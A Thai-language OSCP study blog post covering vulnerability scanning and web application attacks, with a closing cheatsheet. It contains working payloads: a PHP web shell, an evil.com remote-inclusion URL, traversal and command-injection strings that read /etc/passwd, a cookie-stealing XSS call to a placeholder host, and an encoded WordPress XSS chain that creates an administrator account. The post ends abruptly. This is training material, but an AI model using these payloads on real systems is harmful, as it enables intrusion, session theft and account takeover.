My 2025 OSCP Journey Part 3 : Vulnerability Scanning & Web Application Attacks

Tuesday, February 18, 2025

Introduction

สวัสดีคุณผู้อ่านทุกท่านครับ

ยินดีต้อนรับทุกท่านกลับเข้าสู่ Blog series ของผมอีกครั้ง หลังจาก Part ที่ผ่านมาเราได้เริ่มที่จะเข้าสู่โลกแห่งเนื้อหาในเชิงเทคนิคอย่าง การหาและเก็บข้อมูล ซึ่งนับเป็นขั้นตอนแรกในการทำการทดสอบการเจาะระบบ

สำหรับคุณผู้อ่านท่านใดที่หลงเข้ามาใน Part นี้เป็นที่แรก ตัวผมนั้นภูมิใจและแนะนำเป็นอย่างยิ่ง ที่จะให้คุณผู้อ่านได้อ่าน Part 1 และ Part ก่อนหน้าอื่นๆก่อน เป็นการเริ่มต้น ตาที่อยู่ Link นี้เลยครับ: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-1 และ Welcome to My Journey ครับผม

ใน Part ที่ 3 นี้เราจะพูดถึงเรื่องขั้นตอนเชิงเทคนิคต่อๆไปหลังจากการหาและเก็บข้อมูล ซึ่งเช่นเดิม ตัวผมนั้นยินดีเป็นอย่างยิ่งที่จะเล่าให้ฟังครับ เพื่อไม่เป็นการเสียเวลาไปมากกว่านี้ เพราะฉะนั้น Enjoyครับ




Vulnerability Scanning

หลังจากขั้นตอนการหาและเก็บข้อมูลเสร็จสิ้น เรื่องต่อไปที่เราจะพูดถึงคือการการสแกนหาช่องโหว่ ขั้นตอนนี้เป็นขั้นตอนที่จำเป็นในการทำการทดสอบการเจาะระบบเพื่อให้ผู้ทดสอบการเจาะระบบสามารถระบุจุดอ่อนหรือการตั้งค่าที่ผิดพลาด(misconfiguration)ภายในระบบของเป้าหมาย ซึ่งภายในขั้นตอนการสแกนหาช่องโหว่ไม่ช่วยเพียงแค่การลำดับความสำคัญการแก้ไขและรับมือ แต่ยังช่วยหาข้อมูลเพื่อเป็นพื้นฐานในขั้นตอนการโจมตีช่องโหว่(exploitation)ต่อไป

Vulnerability Scanning Theory(ทฤษฎีการสแกนหาช่องโหว่)

การเข้าใจทฤษฎีเบื่องหลังการทำงานของการสแกนหาช่องโหว่นั้นจะเป็นกุญแจสำคัญที่จะทำให้ผู้ใช้ เลือกใช้และใช้ประโยชน์จากการสแกนหาช่องโหว่ให้ได้มีประสิทธิภาพสูงที่สุดนี่เป็นภาพรวมของกระบวนการสแกนหาช่องโหว่ทั้งหมด:

  • จุดประสงค์: เป้าหมายคือการตรวจจับหาช่องโหว่ภายในระบบและเครือข่าย(network)โดยใช้เครื่องมือที่ทำงานด้วยตนเอง(Automated tools) และเพื่อให้เข้าใจถึงกระบวนการหรือประเภทของสิ่งที่เกี่ยวข้อง และ สิ่งที่เป็นปัจจัยสำคัญซึ่งควรคำนึงถึง
  • การทำงานของเครื่องมือสแกนหาช่องโหว่:
    • Host Discovery: ระบุ Host ที่เปิด(Active) โดยใช้วิธีการอย่าง ICMP pings(Internet Control Message Protocol) หรือ ARP scans(Address Resolution Protocol)
    • Port Scanning: สแกนหา Port ที่เปิดเพื่อระบุ Service
    • OS, Service, and Version Detection: ระบุ Operation System, Service และ Version ของเป้าหมายเพื่อหาช่องโหว่
    • Matching Result to a Database: เปรียบเทียบข้อมูลที่ได้มาจากการสแกนกับช่องโหว่ที่ทราบ(e.g. CVE)
    • False Positives and False Negative: ต้องเข้าใจว่าบางช่องโหว่อาจถูกตรวจพบหรือไม่ถูกตรวจพบโดยข้อพิดพลาด โดยสามารถพบเจอได้บ่อยอยู่ 2 ประเภทคือ:
      • False Positive: Not but in (เมื่อสิ่งที่ไม่ใช่ถูกตรวจว่าใช่)
      • False Negative: Yes but out (เมื่อสิ่งที่ใช่ถูกตรวจว่าไม่ใช่)




Types of Vulnerability Scans(ประเภทของการสแกนหาช่องโหว่)

ประเภทของการสแกนนั้นจะใช้ในวัตถุประสงค์ที่ต่างกันขึ้นอยู่กับขอบเขตและระดับของสิทธิ์การเข้าถึง:

  • Internal Scans: การเข้าถึงช่องโหว่จากภายในเครือข่าย(Network)
  • External Scans: ประเมินหรือสแกนจากระบบที่ซึ่งเปิดเผยเป็นสาธารณะ(Public-Facing System)จากภายนอกเครือข่าย
  • Unauthenticated Scans: การสแกนโดยจำลองมุมมองของผู้โจมตีซึ่งไม่มีสิทธิ์การเข้าถึง
  • Authenticated Scans: ใช้หรือมีสิทธิ์การเข้าถึงเพื่อทำการสแกนเพื่อหาข้อมูลเชิงลึก
  • Specialized Scans:
    • Web Applications: ตรวจหาปัญหาอย่าง SQL injection หรือ XSS
    • VPN Configurations: ระบุช่องโหว่ จุดอ่อน ภายใน VPN(Virtual Private Network)
    • DMZ Services: มุ่งเน้นไปที่ช่องโหว่ใน semi-trusted zones

สิ่งที่ควรคำนึงถึง: ตัวแปรหรือปัจจัยอาทิเช่น กฎของ Firewall, IPS(Intrusion Prevention System), Rate Limiting และ อุปกรณ์ตัวกลางเครือข่าย(e.g. Hub, Router) อาจส่งผลต่อผลของการสแกน




Vulnerability Scans with Nessus(การสแกนหาช่องโหว่ด้วย Nessus)

Nessus เป็นเครื่องมือที่ใช้งานอย่างแพร่หลายเพื่อทำการค้นหาและรายงานช่องโหว่ และด้วยคุณสมบัติของตัวมันเองนั้นทำให้ Nessus เป็นเครื่องมือที่ขาดไม่ได้และจำเป็นในการระบุช่องโหว่ในเชิงลึก:

  • Component(ส่วนประกอบ):

    • Nessus Scanner: ใช้ทำการสแกน
    • Nessus Manager: ใช้จัดการหน่วยการสแกนหลายตัว
    • Nessus Agents: เครื่องมือควบคุมการสแกน
  • Configuring a Scan(ตั้งค่าการสแกน):

    • Set Up a Scan: เลือกประเภทการสแกน (e.g. Internal, External, Web Application)
    • Specify Targets: ระบุ ระยะของ IP, URL, หรือ Subnet เพื่อ scan
    • Select Plugins: เปิดใช้งาน Plugin สำหรับช่องโหว่เฉพาะ
    • Schedule Scans: ลดการหยุดชะงักให้น้อยที่สุด โดยการจัดตาราง(Schedule)การสแกนระหว่างช่วงเวลาการทำงานเบา(Low-Activity Period)
  • Working with Results(ทำงานกับผลที่ได้):

    • Interpreting Reports: วิเคราะห์ช่องโหว่บนพื้นฐานของระดับความรุนแรง(Critical, High, Medium, Low)
    • Exporting Reports: เผยแพร่สิ่งที่ค้นพบในรูปแบบ PDF หรือ CSV

การสแกนแบบใช้สิทธิ์**(Authenticated Scans)ทำให้ผู้ทดสอบการเจาะระบบสามารถทำการวิเคราะห์เชิงลึกได้โดยใช้สิทธิ์ที่มีเพื่อระบุช่องโหว่ภายใน

ตัวอย่างรายงานการสแกนช่องโหว่ด้วย Nessus: Figure 1 : ตัวอย่างผลการสแกนหาช่องโหว่ด้วย Nessus




Vulnerability Scans with Nmap(การสแกนหาช่องโหว่ด้วย Nmap)

อย่างที่เราทราบจาก Part ที่ 2 ในบท การหาและเก็บข้อมูล(Information Gathering)https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-2 ว่า Nmap นั้นเป็นเครื่องมือเพื่อใช้ในการสแกน Port ซึ่งมากยิ่งไปกว่านั้น Nmap ยังสามารถใช้ในการสแกนหาช่องโหว่ได้อย่างมีประสิทธิภาพอย่างมากอีกด้วย โดยการใช้ Nmap Scripting Engine(NSE) หรือการระบุการทำงานของ Nmap โดยมีสคริปต์นั่นเอง ซึ่งการทำงานจะทำงานด้วยตนเอง(Automate)เช่นกัน:

  • Common NSE Scripts(สคริปต์NSEที่พบได้บ่อย):
>ssl-enum-ciphers \\ใช้ตรวจสอบการตั้งค่า SSL/TLS
>http-vuln-cve \\ใช้สแกนหา CVE บนเว็บเซิร์ฟเวอร์
>smb-vuln-ms17-010 \\ใช้ตรวจสอบช่องโหว่ EternalBlue ใน SMB

ตัวอย่างการใช้งาน:

>nmap --script ssl-enum-ciphers -p 443 <taget's IP>

และตัวอย่างผลการสแกน:

StartingNmap7.94(https://nmap.org)at2025\-02-1314:32UTC  
Nmapscanreportforexample-target.com(192.168.45.100)  
Hostisup(0.053slatency).  
  
PORT  STATESERVICE  
443/tcpopen https  
| ssl-enum-ciphers:  
|  TLSv1.0:  
|   ciphers:  
|    TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA (rsa 2048) - WEAK  
|    TLS\_RSA\_WITH\_AES\_256\_CBC\_SHA (rsa 2048) - WEAK  
|   compressors:  
|    NULL  
|   cipher preference: client  
|   warnings:  
|    64-bit block cipher 3DES vulnerable to SWEET32 attack  
|    TLS 1.0 deprecated since June 30, 2018 (PCI DSS compliance)  
|   
|  TLSv1.1:  
|   ciphers:  
|    TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA (rsa 2048) - WEAK  
|    TLS\_RSA\_WITH\_AES\_256\_CBC\_SHA (rsa 2048) - WEAK  
|   compressors:  
|    NULL  
|   cipher preference: client  
|   warnings:  
|    TLS 1.1 deprecated since June 30, 2018 (PCI DSS compliance)  
|  
|  TLSv1.2:  
|   ciphers:  
|    TLS\_ECDHE\_RSA\_WITH\_AES\_128\_GCM\_SHA256 (secp256r1) - STRONG  
|    TLS\_ECDHE\_RSA\_WITH\_AES\_256\_GCM\_SHA384 (secp256r1) - STRONG  
|    TLS\_DHE\_RSA\_WITH\_AES\_128\_GCM\_SHA256 (dh 2048) - STRONG  
|    TLS\_DHE\_RSA\_WITH\_AES\_256\_GCM\_SHA384 (dh 2048) - STRONG  
|   compressors:  
|    NULL  
|   cipher preference: server  
|   
|  TLSv1.3:  
|   ciphers:  
|    TLS\_AES\_128\_GCM\_SHA256 (secp256r1) - STRONG  
|    TLS\_AES\_256\_GCM\_SHA384 (secp256r1) - STRONG  
|    TLS\_CHACHA20\_POLY1305\_SHA256 (secp256r1) - STRONG  
|   cipher preference: server  
|  
|\_ Least strength: WEAK (TLS 1.0, TLS 1.1)  
  
Nmap done: 1 IP address (1 host up) scanned in 9.23 seconds

Codeblock 1: ตัวอย่างผลการสแกนหาช่องด้วย Nmap โดย ssl-enum-ciphers

  • Managing NSE Scripts(การจัดการสคริปต์ NSE ):
    • Locate Scripts: สามารถหาที่อยู่ของสคริปต์ได้ที่ Nmap’s script Directory(Default : /usr/share/nmap/scripts)(Kali linux)
    • Update Scripts: ทำให้มั่นใจได้ว่าอัปเดตสคริปต์อยู่เสมอ
    • Run Scripts: ใช้ได้ผ่าน flag: --script เพื่อระบุสคริปต์หรือประเภท



Introduction to Web Application Attacks

หลังจากที่เราผ่านหลายๆบทในคอร์ส Offsec Pen-200 มานั้น ตอนนี้เราได้มาถึงบทที่มีความเป็น Dynamic มากที่สุด หรือเป็นบทที่มีความหลากหลาย ต้องมีการปรับเปลี่ยนให้เข้ากับสถานการณ์อยู่ตลอดเวลา และยังเป็นบทหรือหัวข้อที่ส่งผลกระทบอย่างมากในเรื่องความมั่นคงและปลอดภัยทางไซเบอร์ Web Application Attack(การโจมตีบนเว็บแอปพลิเคชัน)

การโจมตีนี้มีเป้าหมายอยู่ที่ฟังก์ชันและกระบวนการขั้นตอนการทำงานของระบบซึ่งเป็น Web-based ทำให้มีความจำเป็นอย่างยิ่งที่จะต้องทำความเข้าใจถึง วิธีการ เครื่องมือ และ ช่องโหว่ที่พบได้บ่อย ซึ่งความรู้เหล่านี้จะเป็นกุญแจสำคัญที่จะทำให้เว็บแอปพลิเคชันนั้นปลอดภัย

Web Application Assessment Methodology(วิธีการประเมินเว็บแอปพลิเคชัน)

การเข้าถึงหรือทดสอบอย่างมีรูปแบบนั้นมีความสำคัญในการระบุช่องโหว่และประเมินระดับความปลอดภัยของเว็บแอปพลิเคชัน ซึ่งวิธีการนั้นมีขั้นตอนอยู่หลายประการ:

  • Defining the Scope: กำหนดขอบเขตของเว็บแอปพลิเคชันที่จะทำการทดสอบอย่างชัดเจน รวมถึงส่วนประกอบของ front-end API ลำดับขั้นตอนของการยืนยันสิทธิ์การเข้าถึง(Authentication flows) ได้รับการอนุญาตในการทสอบการเจาะระบบ ทำความเข้าใจให้ตรงกันถึงขอบเขตการทดสอบ
  • Learning About the OWASP TOP 10: OWASP TOP 10 ระบุถึง 10 ช่องโหว่ร้ายแรง อาทิเช่น Injection Attack, Broken Authentication, Cross-Site Scripting(XSS) และ Security Misconfiguration การเข้าใจและทราบถึงสิ่งเหล่านี้ทำให้การทดสอบมีประสิทธิภาพมากยิ่งขึ้น สามารถหาข้อมูลเพิ่มเติมได้ที่:OWASP Top 10



Web Application Assessment Tools(เครื่องมือในการประเมินเว็บแอปพลิเคชัน)

การทดสอบและการหาข้อมูลในเว็บแอปพลิเคชันนั้นต้องการ การทำงานร่วมกันของหลายเครื่องมือในการระบุช่องโหว่ ซึ่งขั้นตอนนี้จะมีแนวคิดคล้ายคลึงกันกับขั้นตอนการหาและเก็บข้อมูล(Informaiton Gathering) และนี่เป็นภาพรวมโดยสังเขป:

  • Enumeration Techniques(เทคนิคการหาและเก็บข้อมูล):

    • Directory Brute-Forcing: เราสามารถใช้ Gobusterและ Dirbเพื่อเปิดเผย Directoryที่ซ่อนอยู่ได้
    • Technology Identification: เราสามารถใช้ Wappalyzerซึ่งเป็น extension เพื่อระบุประเภทเทคโนโลยีต่างๆและ Framework ที่เว็บเป้าหมายใช้ได้
    • Subdomain Enumeration: เราสามารถใช้ Sublist3r เชื่อมหา Subdomain และทำ Broader Attack Surface ได้

Figure 2 : ผลการสแกนจาก Wappalyzer เพื่อระบุประเภทเทคโนโลยีต่างๆ

  • Web Proxies:

Proxies อย่าง Burp Suite สามารถดักจับและวิเคราะห์ HTTP/HTTPS traffic ระหว่างฝั่ง Client หรือผู้ใช้และ เซิร์ฟเวอร์ได้ ซึ่งความสามารถหลักๆมีดังนี้: - Intercept Mode: ดักจับและแก้ไข HTTP/HTTPS Request - Repeater: ทดสอบ Request ที่ถูกแก้ไข - Intruder: ทำการทดสอบ Payload โดยอัตโนมัติเพื่อหาช่องโหว่ - Scanner: สแกนเพื่อระบุปัญหาทั่วไป อาทิเช่น SQLi หรือ XSS

Figure 3 : การตั้งค่า Proxies ผ่าน FoxyProxy Extension

Figure 4 : ตัวอย่างผลการดักจับ HTTP/HTTPS traffic

เครื่องมืออื่นๆที่ได้รับความนิยม: - Nmap: เพื่อระบุ Port ที่เปิดและ Service ของ Port - Gobuster: Brute-forcing เพื่อหา Directory ของเว็บแอปพลิเคชัน - Postman: เพื่อทำการทดสอบ API




Web Application Enumeration(การหาและเก็บข้อมูลบนเว็บแอปพลิเคชัน)

การหาและการเก็บข้อมูลเป็นหนึ่งในขั้นตอนการประเมินหาพื้นที่ที่จะทำการทดสอบการโจมตีบนเว็บแอปพลิเคชั่น ซึ่งจะประกอบไปด้วย การวิเคราะห์ Source code, cookies, และ APIs เพื่อหาช่องโหว่

  • Inspect Source Code: มองหา Comments ที่มีประโยชน์ภายใน Code, Credentials ที่ถูกเปิดเผยภายใน Code หรือฟังก์ชัน JavaScript ที่ไม่ถูกใช้งานซึ่งอาจใช้เพื่อเปิดเผยข้อมูลได้
  • Analyze Headers and Cookies:
    • Header: ตรวจสอบ หัว หรือ Header ที่เกี่ยวกับความปลอดภัย อาทิเช่น Content-Security-Policy, X-Frame-Options, และ Strict-Transport-Security
    • Cookies: ทำให้มั่นใจว่า Attribute อย่าง HttpOnly, Secure, และ SameSite นั้นตั้งค่าเพื่อป้องกันการโจมตีอย่าง XSS หรือ Session Hijacking
  • API Testing: ใช้เครื่องมืออย่าง Postman หรือ Burp Suite เพื่อระบุหา การควบคุมสิทธิ์ที่ใช้การไม่ได้(Broken Access Controls), Improper rate limiting, และ การเปิดเผย Error Message

Figure 5 : ตัวอย่างการดู Source code เพื่อหาช่องโหว่ (Note: ในตัวอย่างมีการกำหนดค่า query ก่อนที่จะส่งหาผู้ใช้ ซึ่งเราสามารถทำการโจมตีแบบ XSS ได้)




Cross-Site Scripting(XSS)

การโจมตีแบบ XSS นั้นเป็นรูปแบบการโจมตีบนเว็บแอปพลิเคชันที่พบได้มากที่สุด โดยการโจมตีแบบ XSS นั้นทำให้ผู้โจมตีระบบสามารถปล่อย(Inject) สคริปต์ที่เป็นอันตราย(Malicious Scirpt/Payload)เข้าสู่หน้าเว็บที่เห็นโดยผู้ใช้คนอื่น ซึ่งสคริปต์อาจสามารถ ขโมยข้อมูล ยึดSession หรือ กระทำสิ่งที่เป็นอันตรายได้

  • ประเภทของ XSS:
    • Stored XSS: สคริปต์ที่เป็นอันตรายจะถูกเก็บไว้บนเซิร์ฟเวอร์และส่งหาผู้ใช้
    • Reflected XSS: สคริปต์ที่เป็นอันตรายจะถูกส่งไปพร้อมกับ HTTP/HTTPS Request และ แสดงผลของการโจมตีผ่าน Responses
    • DOM-Based XSS: สคริปต์ที่เป็นอันตรายจะถูกสั่งให้ทำงานผ่านเบราว์เซอร์โดย Client-side script(สคริปต์ที่ทำงานในฝั่งของผู้ใช้)
  • ระบุช่องโหว่สำหรับ XSS: มองหาพื้นที่สำหรับใส่ข้อมูล(Input field)ที่สามารถแสดงหรือจัดเก็บข้อมูลอย่างไม่ถูกต้อง โดยทั่วไปแล้วสามารถทำให้เกิดพฤติกรรมที่ผิดปกติ(Error)โดยการใช้ตัวอักษรพิเศษ อาทิเช่น < > ‘ “ { } ; เป็นต้น

ตัวอย่าง Payload ในการหาผลประโยชน์จากช่องโหว่ XSS:

<script>alert('XSS')</script>
  • ตัวอย่างการเพิ่มสิทธิ์การเข้าถึงผ่าน XSS:
    • ผู้โจมตีสามารถขโมย Session Cookie หรือ Token เพื่อทำการเพิ่มสิทธิ์การเข้าถึง
    • ทำการRedirectผู้ใช้อื่นไปยังหน้าเว็บที่เป็นอันตรายเพื่อขโมยข้อมูลสำคัญหรืออื่นๆ
    • ทำการ Alert หน้าเว็บ(เหมือนในตัวอย่าง)เพื่อทำการโจมตีแบบ Phishing ได้

Figure 6 : ตัวอย่างการทำ XSS ผ่านช่องโหว่ตัวแปร query ด้วย <script>alert("Hello, world!")</script>




Common Web Application Attacks

อย่างที่น่าจะทราบกันดีแล้วจากหัวข้อที่ผ่านมาว่า การโจมตีเว็บแอปพลิเคชันนั้นเป็นการโจมตีที่ส่งผลอย่างมากในหลายๆด้าน ซึ่งการโจมตีนี้จะมุ่งเน้นไปที่ฟังก์ชัน ระบบการจัดการไฟล์ภายในเว็บ(File Handling) และขั้นตอนการตรวจสอบข้อมูลที่ถูกนำเข้าโดยผู้ใช้(Input Validation Mechanism) ซึ่งส่วนใหญ่จะถูกนำมาหาผลประโยชน์ผ่าน การตั้งค่าที่ผิดพลาด และทักษะการเขียน Code ที่ไม่เพียงพอ

และนี่เป็นตัวอย่างรูปแบบการโจมตีบนเว็บแอปพลิเคชันที่พบเห็นได้บ่อย:

  • SQL Injection(SQLi): หาประโยชน์จากช่องโหว่ผ่านพื้นที่การนำข้อมูลเข้า(Input Field)โดยการใช้คำสั่ง SQL เพื่อดึงข้อมูลผ่าน Database โดยไม่มีสิทธิ์การเข้าถึง
  • Cross-Site Scripting(XSS): ปล่อยสคริปต์ที่เป็นอันตรายเข้าสู่หน้าเว็บที่เห็นโดยผู้ใช้อื่น
  • Broken Authentication: เป้าหมายคือการจัดการSessionหรือลำดับการยืนยันสิทธิ์การเข้าถึงที่ไม่ดี
  • Security Misconfiguration: เปิดเผย Default Credentials หรือ Service ที่ไม่สำคัญ
  • File Upload Exploits: ทำให้ผู้โจมตีอัปโหลดไฟล์ที่เป็นอันตรายเข้าสู่ระบบได้
  • Cross-Site Request Forgery(CSRF): หลอกผู้ใช้อื่นให้ทำการกระทำที่ไม่ต้องการบนแอปพลิเคชัน
  • Directory Traversal: หาประโยชน์จากข้อผิดพลาดเพื่อเข้าถึง Directory หรือ Files ในเซิร์ฟเวอร์
  • Remote File Inclusion(RFI): ปล่อยรีโมทสคริปต์เข้าไปในแอปพลิเคชัน
  • Local File Inclusion(LFI): หาประโยชน์จากช่องโหว่เพื่อทำให้ไฟล์ใน Local เซิร์ฟเวอร์ทำงาน



Directory Traversal(การเดินทางผ่าน Directory)

การโจมตีแบบ Directory Traversal นั้นรู้จักกันในอีกชื่อว่า “Path Traversal Attack” ซึ่งสามารถหาผลประโยชน์ได้จากระบบจัดการ File Paths ในเว็บแอปพลิเคชันที่ไม่ปลอดภัยเพื่อเข้าถึงไฟล์ต่างๆ หรือ Path ที่ไม่ควรเข้าถึงได้

โดยสามารถแยกประเภท Path ออกได้เป็น 2 ประเภท:

  • Absolute & Relative Path:
    • Absolute Path: เป็นการเจาะจง Path แบบชัดเจนจาก Root Directory ตัวอย่าง:
/var/www/html/file.txt
- Relative Path: เป็นการอ้างอิงถึงตำแหน่งของไฟล์จาก Directory ล่าสุด
ตัวอย่าง:
../../etc/passwd
  • การระบุหาช่องโหว่:
    • ตรวจสอบหา Endpoints ที่รับ File Paths เป็น ตัวแปร(Parameter)
    • หลังจากพบ ทำการทดสอบ Payload อาทิเช่น:
>../../../etc/passwd (Unix)
>..\\..\\windows\\system32\\driver\\etc\\hosts (Windows)
- Encoding Special Character(การเข้ารหัสตัวอักษรพิเศษเพื่อหลบการตรวจ input):
- URL encoding: >..%2F..%2Fetc%2Fpasswd =>../../etc/passwd
- Double encoding: >%25%32%46 =>/หลังจากเข้ารหัสสองครั้ง
- Unicode encoding: >%u002E%u002E%u002F => ../

Figure 7 : ตัวอย่างการทำ Directory Traversal ด้วย ../../../../etc/passwd

วิธีการป้องกัน:

  • ตรวจสอบการนำข้อมูลเข้าจากผู้ใช้(User input)
  • ใช้ Sandbox หรือ Whitelist ในการเข้าถึง Directory
  • ใช้ APIs ที่ปลอดภัยในการจัดการไฟล์



File Inclusion Vulnerabilities

ช่องโหว่ File Inclusion เกิดขึ้นเมื่อแอปพลิเคชันรวมไฟล์ภายนอกเข้ามาในการดำเนินการโดยไม่ได้มีการตรวจสอบ โดยที่ช่องโหว่นี้ทำให้ผู้โจมตีสามารถเปิดการใช้งาน Code โดยพลการ และ เข้าถึงไฟล์ที่ไม่ควรเข้าถึงได้หรือยึดสิทธิ์การควบคุมเซิร์ฟเวอร์

โดยสามารถแบ่งออกได้หลายประเภท:

  • Local File Inclusion (LFI):
    • หาผลประโยชน์จากฟังก์ชันการรวมไฟล์จากไฟล์ภายในระบบ(Local filesystem) ตัวอย่าง:
?page=../../etc/passwd
- โดยอาจใช้ null byte injection (%00) เพื่อหลบการตรวจสอบ file extension ได้
  • PHP Wrappers:
    • ผู้โจมตีสามารถใช้ PHP stream wrapper เพื่ออ่านไฟล์หรือเปิดการทำงานของ Code
    • php://input > รวมข้อมูล Raw POST เป็นสคริปต์ PHP
    • php://filter > อ่านไฟล์ด้วยการเข้ารหัส มีประโยชน์ในการหลบการตรวจจับ ตัวอย่าง:
?file=pgp://filter/convert.base64-encode/resource=../../etc/passwd
  • Remote File Inclusion (RFI):
    • หาผลประโยชน์จากฟังก์ชันการรวมไฟล์จากไฟล์เซิร์ฟเวอร์ Remote ตัวอย่าง:
?file=http://evil.com/shell.php

วิธีการป้องกัน:

  • ปิดการใช้งานฟังก์ชัน File Inclusion อาทิเช่น allow_url_include
  • ใช้เพียง Absolute Paths ในการพัฒนา และ ทำการตรวจสอบ Input



File Upload Vulnerabilities(ช่องโหว่การอัปโหลดไฟล์)

ช่องโหว่การอัปโหลดไฟล์เกิดขึ้นเมื่อผู้โจมตีทำการหาผลประโยชน์จากฟังก์ชันการอัปโหลดไฟล์เพื่ออัปโหลดไฟล์ที่เป็นอันตรายหรือไฟล์ที่ไม่คาดคิดเข้าสู่เว็บแอปพลิเคชัน โดยสามารถแบ่งออกได้เป็น 2 ประเภทหลักๆ:

  • Executable Files(ไฟล์ที่สามารถเปิดการใช้งานได้):
    • ผู้โจมตีทำการอัปโหลดไฟล์หรือสคริปต์เพื่อสั่งให้ทำงานคำสั่งบนเซิร์ฟเวอร์ ตัวอย่าง:
      • อัปโหลด malicious.php:
<?phpsystem($\_GET['cmd']);?>
    - สั่งให้ทำงานโดย:
http://target/malicious.php?cmd=whoami
  • Non-Executable Files(ไฟล์ที่ไม่สามารถเปิดการใช้งานได้):

    • อัปโหลดไฟล์เช่น .txt หรือ .jpg โดยบรรจุ Payload ที่สามารถใช้หาผลประโยชน์ได้ วิธีการป้องกัน:
  • อนุญาตให้เฉพาะประเภทไฟล์ที่ได้รับการอนุญาต(whitelist)

  • เก็บไฟล์ไว้ให้ Directory ที่มีการจำกัดสิทธิ์การเข้าถึง

  • ทำการเปลี่ยนชื่อไฟล์ที่อัปโหลดและเลี่ยงการเก็บไฟล์ไว้ใน Directory ที่เว็บเข้าถึงได้




Command Injection

ช่องโหว่ Command Injectionนั้นทำให้ผู้โจมตีสามารถเปิดการทำงานของคำสั่งในระบบ(System Command)ได้โดยการรับข้อมูล(Input)ที่ไม่ปลอดภัย

  • การโจมตีช่องโหว่(Exploitation):
    • ตัวอย่าง Payload:
Linux: > ; ls -la or && whoami
Windows: > & dir or | ipconfig
- ตัวอย่าง Code:
$output= shell\_exec("ping". $\_GET['ip']);
Input: 127.0.0.1; cat /etc/passwd

วิธีการป้องกัน:

  • ใช้ parameterized APIs
  • ตรวจสอบการนำข้อมูลเข้าจากผู้ใช้(User input)
  • ใช้งาน Whitelist หรือ Blacklist ในการนำข้อมูลเข้า(input)



Wrapping Up

และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาที่เป็นเนื้อหาเชิงเทคนิคล้วนๆ โดยประกอบไปด้วย การสแกนหาช่องโหว่ บทนำสู่การโจมตีบนเว็บแอปพลิเคชัน การโจมตีบนเว็บแอปพลิเคชันที่พบเห็นได้บ่อย

ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป

และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ

และสำหรับผู้ที่สนใจ Cheatsheet

สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏




Command Cheatsheet with Additional Description

CC_Web Application Attack(การโจมตีบนเว็บแอปพลิเคชัน)

Burp Suite(Hotkey หรือคีย์ลัดที่มีโอกาสได้ใช้บ่อย):

Ctrl+r     // Sending request to repeater  
Ctrl+i     // Sending request to intruder  
Ctrl+Shift+b  // base64 encoding  
Ctrl+Shift+u  // URL decoding

Cross-Site Scripting(XSS)(สคริปต์พื้นฐานที่มีโอกาสได้ใช้บ่อยและนำไปต่อยอดได้):

<sCrIpt>alert(1)</ScRipt>  
<script>alert('XSS');</script>  
<script>alert(document.cookies)</script>  
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>  
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>  
<script>user.changeEmail('user@domain');</script>  
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>  
<img src='http://<RHOST>'/>
  • Example of XSS Client-Side Attack

ตัวอย่าง Request:

<a href="http://<RHOST>/send\_btc?account=<USERNAME>&amount=100000"">foobar!</a>

ตัวอย่าง Payload สำหรับดัก HTTP request และหา Nonce โดยการใช้ XMLHttpRequestในการดัก:

varajaxRequest = newXMLHttpRequest();varrequestURL = "/wp-admin/user-new.php";  
varnonceRegex = /ser" value="([^"]\*?)"/g;  
ajaxRequest.open("GET", requestURL, false);  
ajaxRequest.send();  
varnonceMatch = nonceRegex.exec(ajaxRequest.responseText);varnonce = nonceMatch[1];

ทำการ Modify Payload:

varparams = "action=createuser&\_wpnonce\_create-user="+nonce+"&user\_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";  
ajaxRequest = newXMLHttpRequest();  
ajaxRequest.open("POST", requestURL, true);  
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
ajaxRequest.send(params);

ใช้ https://jscompress.com/ทำการบีบอัดสคริปต์ Payload ไว้ในตัวแปร params:

varparams="action=createuser&\_wpnonce\_create-user="+nonce+"&user\_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";ajaxRequest=newXMLHttpRequest,ajaxRequest.open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);

ใช้ฟังก์ชันด้านล่างในการเข้ารหัสเพื่อหลีกเลี่ยงการโดนตรวจจับ:

function encode\_to\_javascript(string) {     varinput = string     varoutput = '';     for(pos = 0; pos < input.length; pos++) {  
       output += input.charCodeAt(pos);       if(pos != (input.length - 1)) {  
         output += ",";  
       }  
     }     returnoutput;  
   }   letencoded = encode\_to\_javascript('var params="action=createuser&\_wpnonce\_create-user="+nonce+"&user\_login=<USERNAME>&email=<EMAIL>&pass1=<PASSWORD>&pass2=<PASSWORD>&role=administrator";ajaxRequest=new XMLHttpRequest,ajaxRequest.open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);')  
console.log(encoded)

สคริปต์ Payload หลังจากเข้ารหัส:

